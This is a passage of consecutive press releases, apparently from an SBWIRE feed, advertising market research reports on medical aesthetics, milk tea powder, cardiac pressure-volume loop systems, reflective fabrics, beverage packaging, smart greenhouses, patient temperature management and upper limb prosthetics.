industry inversely. Several complications such as nerve damage, infections, seroma and pulmonary embolism are known to cause serious adverse and side effects as a result of different cosmetic or aesthetic procedures. Similarly, patients have reported granulomas, and infections as long-term adverse effects caused as a result of cosmetic procedures. Rapid Growth of the Asia Pacific Market Asia Pacific is estimated to witness the highest CAGR during the forecast period. Increasing population, continuously growing economy, rising medical tourism and increasing awareness regarding cosmetic treatment and latest technologies is anticipated to present a lucrative growth scenario for the medical aesthetic market in this region. Furthermore, attractive procedure rates, coupled with supportive government healthcare regulations and norms is expected to present an attractive growth prospect for the market in the coming years. Major Players in the Medical Aesthetic Market The prominent players in the global medical aesthetics market are Cutera, Inc., Cynosure (Hologic), Alma Lasers, Ltd. (Fosun Pharmaceutical Co., Ltd.), Galderma, Mentor Worldwide LLC (Johnson & Johnson), Syneron Medical Ltd., Merz Pharma GmbH & Co. KGaA., Solta Medical, Inc., Lumenis Ltd., and El.En. S.P.A. among others. Get Exclusive Discount @ https://www.marketindustryreports.com/discount/12 About Market Industry Reports Market Industry Reports is a global leader in market measurement & advisory services, Market Industry Reports is at the forefront of innovation to address the worldwide industry trends and opportunities. We identified the caliber of market dynamics & hence we excel in the areas of innovation and optimization, integrity, curiosity, customer and brand experience, and strategic business intelligence through our research. We continue to pioneer state-of-the-art approach in research & analysis that makes complex world simpler to stay ahead of the curve. By nurturing the perception of genius and optimized market intelligence we bring proficient contingency to our clients in the evolving world of technologies, megatrends and industry convergence. We empower and inspire Vanguards to fuel and shape their business to build and grow world-class consumer products. Contact Us- 502, Sai Radhe, Kennedy Road, Behind Hotel Sheraton Grand, Near Pune Station, Pune 411 001 Email: sales@marketindustryreports.com Phone: + 91 967353933 Website: https://www.marketindustryreports.com/ Follow Us- LinkedIn | Twitter | Google+ | Facebook Edison, NJ -- (SBWIRE) -- 04/26/2019 -- The Exploration study offers deep assessment of the Global (United States, European Union and China) Milk Tea Powder Market and helps market participants to gain a solid base in the industry. The Research report presents a complete assessment of the market and contains Future trend, Current Growth Factors, attentive opinions, historical data, facts and statistically supported and industry certified market data. It delivers regional exploration of the Global (United States, European Union and China) Milk Tea Powder market to expose key prospects presented in different parts of the world. The study is segmented by products type, application/end-users. The competitive scenery is generally appraised along with company profiling of leading players operating in the Global (United States, European Union and China) Milk Tea Powder market. Some of the Most Important Key Players Involved in the Study are Lipton (Unilever), Nestle, Uni-President, Greenmax, Shih Chen Foods, Gino, Hong Kong Tea Company, Nittoh Tea (Mitsui Norin), Old Town, Xiangpiaopiao Food & Guangdong Strong Group. If you are involved in the Global (, European Union and China) Milk Tea Powder industry or intend to be, then this study will provide you comprehensive outlook. It's vital you keep your market knowledge up to date segmented by Applications Tea Shop, The Mall, Retail Store & Other, Product Types such as [, Bagged Product, Disposable Paper Cups Products & Other] and some major players in the industry. If you have a different set of players/manufacturers according to geography or needs regional or country segmented reports we can provide customization according to your requirement. Grab Free Global (United States, European Union and China) Milk Tea Powder Market Research Report Sample:- @: https://www.htfmarketreport.com/sample-report/1795106-global-united-states-european-union-and-china-milk-tea-powder-market The Global (United States, European Union and China) Milk Tea Powder market report gives an exceptional, first-time present and attentive analysis of the size, patterns, division and lookout in the production and supply of Global (, European Union and China) Milk Tea Powder on the world. It also talks almost the market size of different sections and their progress features along with growth trends, various stakeholders like investors, traders, suppliers, CEOs, Research & media, Global Director, Manager, President, SWOT analysis i.e. Strength, Weakness, Opportunities, and Threat to the business and others. MARKET SPLIT BY PRODUCT TYPE AND APPLICATIONS: The report segments the Global (United States, European Union and China) Milk Tea Powder Market on the basis of Types as follows:, Bagged Product, Disposable Paper Cups Products & Other On the basis of Application/End-Users, the Global (United States, European Union and China) Milk Tea Powder market is segmented into: Tea Shop, The Mall, Retail Store & Other Players Profiled: Lipton (Unilever), Nestle, Uni-President, Greenmax, Shih Chen Foods, Gino, Hong Kong Tea Company, Nittoh Tea (Mitsui Norin), Old Town, Xiangpiaopiao Food & Guangdong Strong Group Region Analysis - Asia Pacific (China, Japan, South Korea, ASEAN, India, Rest of Asia Pacific) - North America (U.S., Canada, Mexico) - Europe (U.K., France, Germany, Spain, Italy and Rest of Europe) - Middle East and Africa (Turkey, GCC, UAE and South Africa Rest of Middle East) - Latin America (Brazil, Argentina, Colombia and Rest of L.A.) Enquire for customization in Report @: https://www.htfmarketreport.com/enquiry-before-buy/1795106-global-united-states-european-union-and-china-milk-tea-powder-market Stay up-to-date with Global (, European Union and China) Milk Tea Powder market research offered by HTF MI. Check how key trends and emerging drivers are shaping this industry growth as the study avails you with market characteristics, size and growth, segmentation, regional breakdowns, competitive landscape, shares, trend and strategies for this market. In the Global (, European Union and China) Milk Tea Powder Market Analysis & Forecast 2018-2023, the revenue is valued at USD XX million in 2017 and is expected to reach USD XX million by the end of 2023, growing at a CAGR of XX% between 2018 and 2023. The production is estimated at XX million in 2017 and is forecasted to reach XX million by the end of 2023, growing at a CAGR of XX% between 2018 and 2023. In this study, the years considered to estimate the market size of the Global (, European Union and China) Milk Tea Powder are as follows: History Year: 2013-2018 | Base Year: 2018 | Estimated Year: 2019 | Forecast Year 2019 to 2024 Research Objectives: Focuses on the key Global (United States, European Union and China) Milk Tea Powder manufacturers, to define, pronounce and examine the value, sales volume, market share, market competition landscape, SWOT analysis, and development plans in the next few years. To share comprehensive information about the key factors influencing the growth of the market (opportunities, drivers, growth potential, industry-specific challenges and risks). To analyze the Global (, European Union and China) Milk Tea Powder with respect to individual future prospects, growth trends and their involvement to the total market. To analyze reasonable developments such as agreements, expansions new product launches, and acquisitions in the market. To deliberately profile the key players and systematically examine their growth strategies. Read Detailed Index of full Research Study at @ https://www.htfmarketreport.com/reports/1795106-global-united-states-european-union-and-china-milk-tea-powder-market Key Points sheathed in the Global (, European Union and China) Milk Tea Powder Market Report Coverage: Market share study of the top manufacturing players Market share debts for the regional and country level segments Premeditated references for the new competitors Competitive landscaping planning the key common trends Tactical endorsements in key business segments based on the market estimations Market Trends (Constraints, Drivers, Opportunities, Threats, Challenges, recommendations and Investment Opportunities) Company profiling with detailed strategies, financial and latest developments Supply chain trends mapping the latest technological advancements There are 15 Chapters to display the Global (, European Union and China) Milk Tea Powder Market Chapter 1, to describe Definition, Specifications and Classification of Global (, European Union and China) Milk Tea Powder, Applications of Global (United States, European Union and China) Milk Tea Powder, Market Segment by Regions; Chapter 2, Market Trend Analysis, Regional Market Trend, Market Trend by Product Type [,, Bagged Product, Disposable Paper Cups Products & Other], Market Trend by Application [Tea Shop, The Mall, Retail Store & Other]; Chapter 3, to analyze the Manufacturing Cost Structure, Raw Material and Suppliers, Manufacturing Process, Industry Chain Structure; Chapter 4, to show the Overall Market Analysis, Capacity Analysis (Company Segment), Sales Analysis (Company Segment), Sales Price Analysis (Company Segment); Chapter 5, to display the Technical Data and Manufacturing Plants Analysis of , Capacity and Commercial Production Date, Manufacturing Plants Distribution, Export & Import, R&D Status and Technology Source, Raw Materials Sources Analysis; Chapter 6 and 7, to show the Regional Market Analysis that includes United States, China, European Union & Rest of World (Japan, Korea, India and Southeast Asia), Global (, European Union and China) Milk Tea Powder Segment Market Analysis (by Type); Chapter 8, to analyze the Global (, European Union and China) Milk Tea Powder Segment Market Analysis (by Application [Tea Shop, The Mall, Retail Store & Other]) Major Manufacturers Analysis; Chapter 9, Regional Marketing Type Analysis, International Trade Type Analysis, Supply Chain Analysis; Chapter 10, to analyze the Consumers Analysis of Global (, European Union and China) Milk Tea Powder by region, type and application ; Chapter 11, to describe Global (, European Union and China) Milk Tea Powder Research Findings and Conclusion, Appendix, methodology and data source; Chapter 12, 13, 14 and 15, to describe Global (, European Union and China) Milk Tea Powder sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source. Buy this research report @ https://www.htfmarketreport.com/buy-now?format=1&report=1795106 Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia. Sarasota, FL -- (SBWIRE) -- 04/26/2019 -- Pressure-Volume Loop Systems Market: Overview The blood should flow in the artery and the vein in a proper way and that too with the right amount of pressure. With the help of the pressure-volume loop systems, the blood flow in the heart can be studied properly. Owing to this, a person can be easily protected from the diseases that are related to the heart. It also helps in understanding the concentrate myocardial contractility, muscle energetic, consistency, and other details. Pressure-Volume Loop Systems Market: Facts The market player Millar, Inc. had developed the product Inca pressure-volume (PV) loop system. Recently, the market player sold it to the University of Colorado in order to support the LVAD Research. Download Free PDF Research Report Brochure @ https://www.zionmarketresearch.com/requestbrochure/pressure-volume-loop-systems-market Pressure-Volume Loop Systems Market: Segmentation The global market for the pressure-volume loop systems market is fragmented into its parameter, application, and the end-user industry. On the basis of the parameter, the global market is segregated into ejection fraction, max and min ventricular dP/dt, cardiac output, contractility index, elastance, stroke volume, pre-load recruitable stroke work, and others. On the basis of the application, the market is categorized into cardiac resynchronization therapy, toxicology, cardiac failure, phenotyping gene manipulations, baseline PV loop analysis, occlusion PV loop analysis, cardiac hypertrophy, cardiovascular remodeling, pharmacology, and others. On the basis of the end-user industry, the market is categorized into biotech and pharma research, contract research organization, and others. Pressure-Volume Loop Systems Market: Growth Factors In the coming years, the pressure-volume loop systems market will grow at a rapid rate. The major factors that are driving the pressure-volume loop systems market are the increasing research and development activities in this field and the growing players and researchers that are investing both their time and money in order to develop the preventive methods for controlling the heart-related problems. According to several studies made by the organizations, the number of the people that are dying owing to the cardiac problems is growing rapidly which is fuelling the market growth positively. The factors that are negatively affecting the growth of the market are the inadequate availability of the device and the lack of awareness among the people. For More Details Get Sample Pages of this Report@ https://www.zionmarketresearch.com/sample/pressure-volume-loop-systems-market Pressure-Volume Loop Systems Market: Regional Analysis North America holds the leading position in the global pressure-volume loop systems market. The factors that are contributing to the growth of the market are the presence of the market players in this region and various types of research activities are being conducted on the academic level and organization level in this region. The other regions that are following North America are Asia Pacific and Europe owing to the initiatives that are taken for creating the awareness about the use of the product for the preclinical studies which are done for understanding the effects of the drugs and the other cardiac activities. Pressure-Volume Loop Systems Market: Competitive Players The key market players that are involved in the pressure-volume loop systems include Linton Instrumentation, Millar, Inc., and Transonic. Inquire more or share questions if any before the purchase on this report @ https://www.zionmarketresearch.com/inquiry/pressure-volume-loop-systems-market Pressure-Volume Loop Systems Market: Regional Segment Analysis North America U.S. Europe UK France Germany Asia Pacific China Japan India Latin America Brazil Middle East and Africa Pune, Maharashtra -- (SBWIRE) -- 04/26/2019 -- Introduction: Reflective fabrics work on the principle of retro reflection. In retro reflection, the reflective fabrics, rather than scattering the light, reflect the light directly to the source. Hence, for instance, light sourced from a vehicle is reflected back at the vehicle. This enables reflective fabrics to be sewn into highly visible clothing. As very slight amount of light is scattered into other directions and thus, reflective fabrics tend to appear brightest to the observers in the vicinity of the source of light. It has been claimed by several manufacturers that a person wearing a vest made from reflective fabrics is visible even from a distance well over 100 meters. Reflective fabrics comprise retro reflective lenses bonded to a unique polymer layer with the help of special adhesives. Several processing technologies have been adopted by the manufacturers of reflective fabrics, such as the hot pressing processing method to strongly bond the materials used. Reflective fabrics are prepared using a base cloth, adhesives and micro glass beads. The micro glass beads used in the production of reflective fabrics may be partially coated with metals, such as aluminium, to considerably enhance the coefficient of reflection. Reflective Fabrics Market: Dynamics There are several regulations and certifications by numerous national and international organizations that are setting the pace for the growth of the reflective fabrics market. Few of the certifications, such as EN 20471 (European Norms), AS/NZS 1906 (Standards Australia and Standards New Zealand), ANSI 107 (American National Standards Institute) and CSA-Z96 (Canada Standards Association), are majorly driving the growth of the reflective fabrics market as these mandate that professionals exposed to potential hazards must wear apparels made from reflective fabrics to improve their visibility in low-light conditions. These professionals mainly include emergency responders, airport ramp personnel, civil security, industrial foremen, mine workers, etc. It has been found that a majority of industrial fatalities are caused due to low visibility and this has been creating awareness among employers to provide garments made from reflective fabrics to employees. Though they provide better contrast against background colors, reflective fabrics also tend to catch fire and fade due when excessively washed. However, technological advancements are being made to protect reflective fabrics from industrial laundering. Request Free Sample Report@ https://www.factmr.com/connectus/sample?flag=S&rep_id=2020 Reflective Fabrics Market: Segmentation The reflective fabrics market can be segmented on the basis of application and end use. On the basis of application, the reflective fabrics market can be segmented into: Personal Protective Equipment Transport Equipment Road Facilities Others On the basis of end use, the reflective fabrics market can be segmented into: Construction Mining Maintenance & Utility Disaster Relief Management Safety and Security Systems Aviation & Aerospace General Industrial Reflective Fabrics Market: Regional Outlook The Asia Pacific reflective fabrics market is expected to grow at the fastest pace throughout the forecast period. The Asia Pacific region is expected to register a strong CAGR, owing to the firm industrial growth in countries such as China and India. The growth in the construction industry, mainly in North American countries, such as the United States of America, is set to be one of the prominent contributing factors to the consumption of reflective fabrics. The construction industry is also booming in Middle East countries, such as United Arab Emirates. Russia and Australia have been identified to be the major countries engaged in mining activities and thus, are vital regions for the sales of reflective fabrics. Transportation infrastructure is being modernized all around the world and with rapid urbanization occurring, the reflective fabrics market is expected to witness a massive boom during the forecast period. Some of the market participants identified across the value chain of the global reflective fabrics market are 3M Company, Avery Dennison Corporation, Hangzhou Chinastars Reflective Material Co., Ltd, Textile Technologies Europe Ltd, schoeller Switzerland, Marketing Action Xecutives, Inc, ORAFOL Europe GmbH, Jinsung Corporation and Daoming Optics & Chemical Co., Ltd. Request/View TOC@ https://www.factmr.com/connectus/sample?flag=T&rep_id=2020 This analytical research study imparts an all-inclusive assessment on the market, while propounding historical intelligence, actionable insights, and industry-validated & statistically-upheld market forecast. Verified and suitable set of assumptions and methodology has been leveraged for developing this comprehensive study. Information and analysis on key market segments incorporated in the report has been delivered in weighted chapters. A thorough analysis has been offered by the report on Market Dynamics Market Size Market Segments Demand & Supply Trends Current Issues and Challenges Companies and Competitor Landscape Value Chain Technology Regional Segments Analyzed Include North America (U.S., Canada) Latin America (Mexico. Brazil) Western Europe (Germany, Italy, France, U.K, Spain) Eastern Europe (Poland, Russia) Asia Pacific (China, India, ASEAN, Australia & New Zealand) Japan Middle East and Africa (GCC, S. Africa, N. Africa) Compilation of authentic and first-hand intelligence, insights offered in the report are based on quantitative and qualitative assessment by leading industry experts, and inputs from opinion leaders & industry participants around the value chain. Growth determinants, macroeconomic indicators, and parent market trends have been scrutinized and delivered, coupled with the market attractiveness for each market segment encompassed. Qualitative impact of growth influencers on the market segments across regions has also been mapped by the report. Highlights from the Report Elaborated scenario of the parent market Transformations in the market dynamics Detailed segmentation of the target market Historical, current and forecast market size based on value and volume Latest industry developments and trends Competition landscape Strategies adopted by the market players and product developments made Potential and niche segments, along with their regional analysis Unbiased analysis on performance of the market Up-to-date and must-have intelligence for the market players to enhance and sustain their competitiveness Report Analysis@ https://www.factmr.com/report/2020/reflective-fabrics-market NOTE - All statements of fact, opinion, or analysis expressed in reports are those of the respective analysts. They do not necessarily reflect formal positions or views of Fact.MR About Fact.MR Fact.MR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports. Contact Us Rohit Bhisey Fact.MR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Email: sales@factmr.com Web: https://www.factmr.com/ Blog: https://factmrblog.com/ Pune, India -- (SBWIRE) -- 04/26/2019 -- Our latest research report entitled Beverage Packaging Market (by types (can, bottle, pouch, carton, and others), materials (plastic, glass, metal, paperboard, and others), applications (alcoholic, non-alcoholic, and dairy)) Industry Analysis, Trends, Size, Share, Forecasts to 2025 provides complete and deep insights into the market dynamics and growth of Beverage Packaging. Latest information on market risks, industry chain structure Beverage Packaging cost structure and opportunities are offered in this report. The past, present and forecast market information will lead to investment feasibility by studying the essential Beverage Packaging growth factors. Get Sample Report Copy for Market Insights @ https://www.infiniumglobalresearch.com/reports/sample-request/5683 Beverage Packaging Market: Insight The forecast Beverage Packaging market information is based on the present market situation, growth opportunities, development factors, and opinion of the industry experts. An in-depth analysis of the company profiles, Beverage Packaging on a global and regional level and applications is conducted. The analysis of downstream buyers, sales channel, raw materials, and industry verticals is offered in this report. According to the report, the global beverage packaging market is projected to grow at a CAGR of 4.2% over the forecast period of 2019-2025. Beverage Packaging allows the beverages to remain intact for a longer duration without getting spoiled or contaminated. There are various types of material are preferred for beverage packaging which includes flexible plastics, rigid plastics, paper & board, rigid metal, and glass. Plastic packaging is preferred in the beverage industry due to its benefits such as low manufacturing cost, lightweight and easy to carry. Beverage Packaging Market: Drivers and Restraints The beverages packaging market has been driven by the growing consumption of beverages especially alcoholic beverages, fruits juices, and water bottles. Moreover, high demand for sustainable and convenient packaging solutions is another factor escalates the growth of beverages packaging market. Additionally, expanding the importance of preserving the quality of the content is expected to ample the growth of beverages packaging market. Also, the growing adoption of bag-in-box and stand-up pouches packaging for beverages along with growing demand from end-user industries spur the growth of the market. Furthermore, personalization of the beverage packaging is becoming more important as companies try to attract customers with aesthetic and functional designs. Smaller size packs and multi-packs meant for individual consumers are expected to spur the growth of the market in the near future. Increase in demand for convenience beverage products presents an opportunity for the manufacturers. Moreover, development in robotics, installation of automated vending machines, process automation creates growth opportunities for the beverages packaging market in coming years. Eco-friendly recyclable materials-based beverage packaging is expected to gain prominence in the near future as major beverage manufacturers are showing their intent to adopt them. Beverage Packaging Market: Regional Analysis Among the geographies, Asia Pacific dominated the global beverages packaging market. China is the largest beer consumer in the world and the demand for container glass in China is 37% of the world. Rising population as well as disposable income, changing lifestyles, increasing alcoholic drinks consumption and westernization are some of the factors that drive the growth of the beverages packaging market in the Asia Pacific region. At the same time, growing health awareness and more concern towards carbon footprint, lead to improvements in beverages packaging in this region. On the other hand, North America is expected to be a lucrative market for beverages packaging. This is due to increasing penetration of automation in the beverage packaging industry and presence robust manufacturing industries such as Tyson Foods Inc., PepsiCo Inc., Nestle, Anheuser-Busch InBev, Coca Cola Company and Kraft Heinz Co in The U.S. is likely to bolster the growth of the regional market during the forecast period. Request a Discount on Standard Prices of this Premium Report @ https://www.infiniumglobalresearch.com/reports/request-discount/5683 Beverage Packaging Market: Segmentation The report on the global beverage packaging market covers segments such as types, materials, and applications. On the basis of types, the sub-markets include can, bottle, pouch, carton, and others. On the basis of materials, the sub-markets include plastic, glass, metal, paperboard, and others. On the basis of applications, the sub-markets include alcoholic, non-alcoholic, and dairy. Beverage Packaging Market: Competitive Landscape The report provides profiles of the companies in the market such as Alcoa Corporation, Amcor Limited, Ball Corporation, Crown Holdings, Inc., Mondi Group, Owens-Illinois Inc., Rexam plc, Reynolds Group Holdings Limited, Saint-Gobain S.A., Stora Enso, and Tetra Laval International S.A. Browse Detailed TOC and Description of this Exclusive Report@ https://www.infiniumglobalresearch.com/food-beverage/global-beverage-packaging-market Reasons to Buy this Report: Comprehensive analysis of global as well as regional markets of the Beverage Packaging. Complete coverage of all the product type and applications segments to analyze the trends, developments, and forecast of market size up to 2025. Comprehensive analysis of the companies operating in this market. The company profile includes analysis of product portfolio, revenue, SWOT analysis and the latest developments of the company. Infinium Global Research- Growth Matrix presents an analysis of the product segments and geographies that market players should focus to invest, consolidate, expand and/or diversify. Albany, NY -- (SBWIRE) -- 04/26/2019 -- Global Smart Greenhouse Market: Snapshot The global market for smart greenhouse is foreseen to observe promising development all through the coming years. The rising ubiquity of the technology is anticipated to support market development in the coming years. Additionally, the utilization of smart greenhouse innovation helps essentially in expanding the yield and productivity of solar and floating controlled greenhouse. Report Analysis@ https://www.transparencymarketresearch.com/smart-greenhouse-market.html Based on technology, the market is grouped into LED, HVAC, communication technology, grow light, water system framework, irrigation system, control framework, valves and pumps, and others. The kinds of smart greenhouses canvassed in the report are non-hydroponic and hydroponic. The market is classified based on region into Asia-Pacific, Europe, North America, and Latin America, Middle East and Africa (LAMEA). Global Smart Greenhouse Market: Trends and Opportunities The developing requirement for smart cultivating inferable from the massively rising populace is one of the key factors that is anticipated to enhance the development of the global smart greenhouse market in the following couple of years. Moreover, the developing fame for rooftop cultivation and industrial improvements are foreseen to energize the development of the entire market in future. The rise of vertical cultivation in urban regions and the developing awareness among purchasers with respect to the advantages of embracing smart greenhouse are anticipated to quicken the market's development. In actuality, the high expense of smart greenhouse is considered as one of the key reasons foreseen to confine the development of the global smart in the coming years. Also, the joining of advances and the necessity of high starting venture are evaluated to hamper the development of the market. Nevertheless, the utilization of AI gadgets, control gadgets, and sensors that empower automation, water system, and control of the environment is required to contribute considerably towards the improvement of the smart greenhouse market all over the globe. Global Smart Greenhouse Market: Regional Analysis Europe is relied upon to lead the general market and record for a key offer in the coming years. The powerful development of this district can be ascribed to the expanding appropriation of smart greenhouse innovation over the most recent couple of years. Moreover, a noteworthy commitment from the Netherlands, Spain, and Italy is foreseen to support the development of the smart greenhouse market in Europe all through the gauge time frame. For More Industry Insight, Download Brochure@ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=5672 Besides, Asia Pacific and the Rest of the World sections are evaluated to observe dynamic development in the coming years. The quick pace of urbanization in these two region is one of the vital elements anticipated to quicken the development of smart greenhouse market in the forthcoming years. Global Smart Greenhouse Market: Competitive Landscape The key players operating in the smart greenhouse market are Ceres Greenhouse Solutions, Rough Brothers, Inc., GreenTech Agro LLC, Argus Control Systems Ltd., Logiqs B.V., Heliospectra AB, Nexus Corporation, JFE Engineering Corporation, Terrasphere Systems, LLC, Hort Americas, and Certhon, LumiGrow Inc. The emergence of a huge number of firms operating in the global market is foreseen to result in a tough competition within the market players in the future years. Northbrook, IL -- (SBWIRE) -- 04/26/2019 -- According to a new market research report "Temperature Management Market by Product (Surface & Intravascular Systems - Warming & Cooling), Application (Acute & Perioperative Care), End User (Surgeon & Anesthesiologist), Medical Specialties (Pediatric, Orthopedic, Neurology) - Forecast to 2022 ", published by MarketsandMarkets The key factors driving the growth of this market include increase in the development of technologically advanced intravascular systems, large number of awareness campaigns/conferences for physicians, growth in research funding, and incidence of chronic conditions are driving the growth of the Temperature Management Market. However, the high cost of invasive temperature management systems and product recalls are restraining the growth of this market. Download PDF Brochure: http://www.marketsandmarkets.com/pdfdownload.asp?id=141546773 By product, the patient warming systems segment accounted for the largest share of the market in 2017 On the basis of product, the Temperature Management Market is broadly segmented into patient warming systems and patient cooling systems. In 2017, patient warming systems segment is expected to account for the largest share of this market. The rising demand for these systems in diverse hospital settings is the major factor driving market growth. By medical specialty, general surgery held the largest market share in 2017 Based on medical specialty, the Temperature Management Market is categorized into general surgery, cardiology, neurology, thoracic surgery, orthopedics, pediatrics, and other medical specialties. In 2017, the general surgery segment is expected to account for the largest share of the Temperature Management Market. The rising incidence of colorectal cancer, GI disorders, and endocrine disorders are the major factors driving the growth of this market. Speak to Our Subject Expert: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=141546773 By application, the Perioperative Care segment held the largest market share in 2017 Based on application, the market is segmented into perioperative care, acute care, newborn care, medical/surgical units, physiotherapy, military applications, patient transport, chemotherapy, and other applications. In 2017, the perioperative care segment is expected to account for the largest share in the temperature management application market. The increasing number of surgical procedures performed across the globe is the major factor driving the growth of this application segment. In addition, technological advancements, increasing number of product launches for the perioperative care segment and growing number of partnerships between key market players and hospitals are also supporting market growth. North America dominated the market in 2016 North America is expected to account for the largest share of the Temperature Management Market in 2017, followed by Europe. Growth in the geriatric population, rising incidence of cardiac arrests and neurological disorders, and the availability of technologically advanced products are some of the factors supporting the growth of the Temperature Management Market in North America. Request Research Sample Pages: https://www.marketsandmarkets.com/requestsampleNew.asp?id=141546773 The growing trend of medical tourism in European countries such as Hungary and Poland, availability of relatively lower-priced surgical treatments are major factors encouraging patients from North America to travel to European countries to undergo elective surgical procedures. These are majorly contributing to the growth of the European Temperature Management Market, which holds the second-largest market share. The key players in the global Temperature Management Market are 3M Company (U.S.), Smiths Medical (U.K.), Medtronic plc (Ireland), C.R. Bard Inc. (U.S.), Cincinnati Sub-Zero Products, Inc. (U.S.), Geratherm Medical AG (Germany), Inspiration Healthcare Group plc, (U.K.), Stryker Corporation (U.S.), The 37Company (Netherlands), ZOLL Medical Corporation (U.S.), GE Healthcare (U.S.), Becton, Dickinson and Company (U.S.), DRAGERWERK AG & CO. KGAA (Germany), and Ecolab (U.S.) About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their pain points around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact Us: Mr. Shelly Singh MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 Email: sales@marketsandmarkets.com Albany, NY -- (SBWIRE) -- 04/26/2019 -- Looking at the current market trends as well as the promising demand status of the Upper Limb Prosthetics Market, it can be projected that the future years will bring out positive outcomes. This research report added by MRRSE on its online portal delivers clear insight about the changing tendencies across the global Upper Limb Prosthetics Market. Readers can gather prime facets connected to the target market which includes product, end-use and application; assisting them to draw conclusions out of this intelligent research report. The report features unique and salient factors that may have a huge impact on the development of the Upper Limb Prosthetics market during the forecast period. It can help market players modify their manufacturing and marketing strategies to envisage maximum growth in the Upper Limb Prosthetics market in the upcoming years. The report provides detailed information about the current and future growth prospects of the Upper Limb Prosthetics market in the most comprehensive way for the better understanding of readers. To Get Sample Copy of Report, Click here @ https://www.mrrse.com/sample/19171 Chapter 1 Executive Summary The report commences with the executive summary of the Upper Limb Prosthetics market report, which includes the summary of key findings and key statistics of the market. It also includes the market value (US$ million) estimates of the leading segments of the Upper Limb Prosthetics market. Chapter 2 Market Overview Readers can find detailed taxonomy and the definition of the Upper Limb Prosthetics market in this chapter, which helps them understand the basic information about the Upper Limb Prosthetics market dynamics, list of key distributors and suppliers, and list of key market participants. Chapter 3 North America Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 This chapter includes detailed analysis of the growth of the North American Upper Limb Prosthetics market, along with country-wise assessment including the U.S. and Canada. Readers can also find regional trends, regulations, and market growth based on product type, Components, Indication, end users and country of Upper Limb Prosthetics in the North American region. Chapter 4 Latin America Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 Readers can find detailed information about factors such as regional trends that are impacting the growth of the Latin American Upper Limb Prosthetics market. This chapter also includes the growth prospects of the Upper Limb Prosthetics market in leading LATAM countries such as Brazil and the Rest of the Latin America. Chapter 5 Europe Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 Important growth prospects of the Upper Limb Prosthetics market based on its product type, Components, Indication and end user in several European countries/regions such as France, UK, Germany, Italy, Spain, Russia, BENELUX and Res of Europe are included in this chapter. Chapter 6 East Asia Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 Important growth prospects of the Upper Limb Prosthetics market based on its product type, Components, Indication and end user in several European countries/regions. Chapter 7 South Asia Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 Important growth prospects of the Upper Limb Prosthetics market based on its product type, Components, Indication and end user in several European countries/regions. Chapter 8 Oceania Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 Important growth prospects of the Upper Limb Prosthetics market based on its product type, Components, Indication and end user in several countries/regions such as Australia and New Zealand are included in this chapter. Chapter 8 China Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 This chapter provides information on how the Upper Limb Prosthetics market will grow in China during the period 2013-2028. Browse Complete Report with TOC @ https://www.mrrse.com/upper-limb-prosthetics-market Chapter 10 Global Upper Limb Prosthetics Market Analysis (2013-2017) & Opportunity Assessment (2018-2028) by Product Type Based on product type, the Upper Limb Prosthetics market is segmented into Passive upper limb prosthetics, Body Powdered upper limb prosthetics, Myoelectric upper limb prosthetics, Hybrid upper limb Prosthetics In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market, and market attractive analysis based on product type and various Upper Limb Prosthetics Products. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on the product type for each region. Chapter 11 Global Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 by Components Based on indication, the Upper Limb Prosthetics market is segmented into Prosthetic Wrist, Prosthetic Elbow, Prosthetic Shoulders, Prosthetic Arm and Terminal Devices. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on applications. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on the applications for each region. Chapter 12 Global Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 by Indication Based on indication, the Upper Limb Prosthetics market is segmented into Forequarter Amputations Shoulder Disarticulation, Transhumeral Disarticulation, Elbow Disarticulation, Transradial Disarticulation , Wrist Disarticulation, Partial Hand and Fingers Amputations. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on applications. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on the applications for each region. Chapter 13 Global Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 by End User Based on End user, the Upper Limb Prosthetics market is segmented into Hospitals, Prosthetic Clinics and Rehabilitative Centers. In this chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on applications. In this 